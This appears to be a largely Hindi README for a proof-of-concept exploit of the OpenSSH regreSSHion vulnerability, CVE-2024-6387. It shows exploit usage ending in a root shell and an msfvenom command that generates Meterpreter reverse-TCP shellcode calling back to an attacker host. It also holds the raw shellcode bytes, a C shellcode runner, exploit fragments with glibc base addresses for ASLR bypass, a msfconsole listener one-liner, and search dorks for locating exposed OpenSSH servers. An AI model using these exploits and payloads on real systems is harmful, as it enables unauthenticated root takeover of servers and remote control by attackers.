
CVE-2024-6387 POC (Currently being edited)
CVE-2024-6387 POC (वर्तमान में संपादित किया जा रहा है)
नोट: यह स्क्रिप्ट एक त्वरित प्रोटोटाइप PoC है, इसमें कुछ त्रुटियाँ और बग हो सकते हैं। परीक्षण किया गया: Kali Linux, ParrotSec, Ubuntu 22.04
OpenSSH सर्वर में रिमोट अनऑथेंटिकेटेड कोड निष्पादन भेद्यता
OpenSSH के सर्वर (sshd) में एक सिग्नल हैंडलर रेस कंडीशन पाई गई, जहां कोई क्लाइंट LoginGraceTime सेकंड (डिफ़ॉल्ट रूप से 120, पुराने OpenSSH संस्करणों में 600) के भीतर प्रमाणित नहीं होता है, तो sshd का SIGALRM हैंडलर अतुल्यकालिक रूप से कॉल किया जाता है। हालाँकि, यह सिग्नल हैंडलर विभिन्न फ़ंक्शनों को कॉल करता है जो async-signal-safe नहीं हैं, उदाहरण के लिए, syslog()।
आप तकनीकी विवरण यहाँ पा सकते हैं।
यह दोष, जिसे Qualys के शोधकर्ताओं ने मई 2024 में खोजा था और जिसे पहचानकर्ता CVE-2024-6387 सौंपा गया है, sshd में एक सिग्नल हैंडलर रेस कंडीशन के कारण है जो अनऑथेंटिकेटेड रिमोट हमलावरों को रूट के रूप में मनमाना कोड निष्पादित करने की अनुमति देता है।
"यदि कोई क्लाइंट LoginGraceTime सेकंड (डिफ़ॉल्ट रूप से 120) के भीतर प्रमाणित नहीं होता है, तो sshd का SIGALRM हैंडलर अतुल्यकालिक रूप से कॉल किया जाता है और विभिन्न फ़ंक्शनों को कॉल करता है जो async-signal-safe नहीं हैं,"
"एक रिमोट अनऑथेंटिकेटेड हमलावर इस दोष का लाभ उठाकर रूट विशेषाधिकारों के साथ मनमाना कोड निष्पादित कर सकता है।"
आवश्यकता: python3 नवीनतम
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22
██████╗ ██████╗ ███████╗███╗ ██╗███████╗███████╗██╗ ██╗
██╔═══██╗██╔══██╗██╔════╝████╗ ██║██╔════╝██╔════╝██║ ██║
██║ ██║██████╔╝█████╗ ██╔██╗ ██║███████╗███████╗███████║
██║ ██║██╔═══╝ ██╔══╝ ██║╚██╗██║╚════██║╚════██║██╔══██║
╚██████╔╝██║ ███████╗██║ ╚████║███████║███████║██║ ██║
╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝╚══════╝╚══════╝╚═╝ ╚═╝
Author: l0n3m4n / Scanner: @xaitax / PoC: @7etsuo
Exploiting vulnerabilities...
Attempting exploitation with glibc base: 0xb7200000
Attempt 0 of 20000
Received SSH version: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
Received KEX_INIT (1024 bytes)
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
.....
Exploitation successful..!
~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root)
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json
$ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json
# शेलकोड जनरेट करना
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes
unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
#include <stdio.h>
// आपके कस्टम पेलोड का प्लेसहोल्डर
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
int main() {
// शेलकोड निष्पादित करें
printf("Executing shellcode...\n");
void (*sc)() = (void(*)())shellcode;
sc();
return 0;
}
#include <stdio.h>
#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)
// संभावित glibc आधार पते (ASLR बायपास के लिए)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);
// शेलकोड प्लेसहोल्डर (वास्तविक शेलकोड से बदलें)
unsigned char shellcode[] = "\x90\x90\x90\x90";
# पेलोड संकलित करना
$ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c
# एक बार जब आप सफल शोषण संदेश प्राप्त करते हैं, तो msfconsole स्वचालित रूप से एक Meterpreter सत्र शुरू करता है।
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-access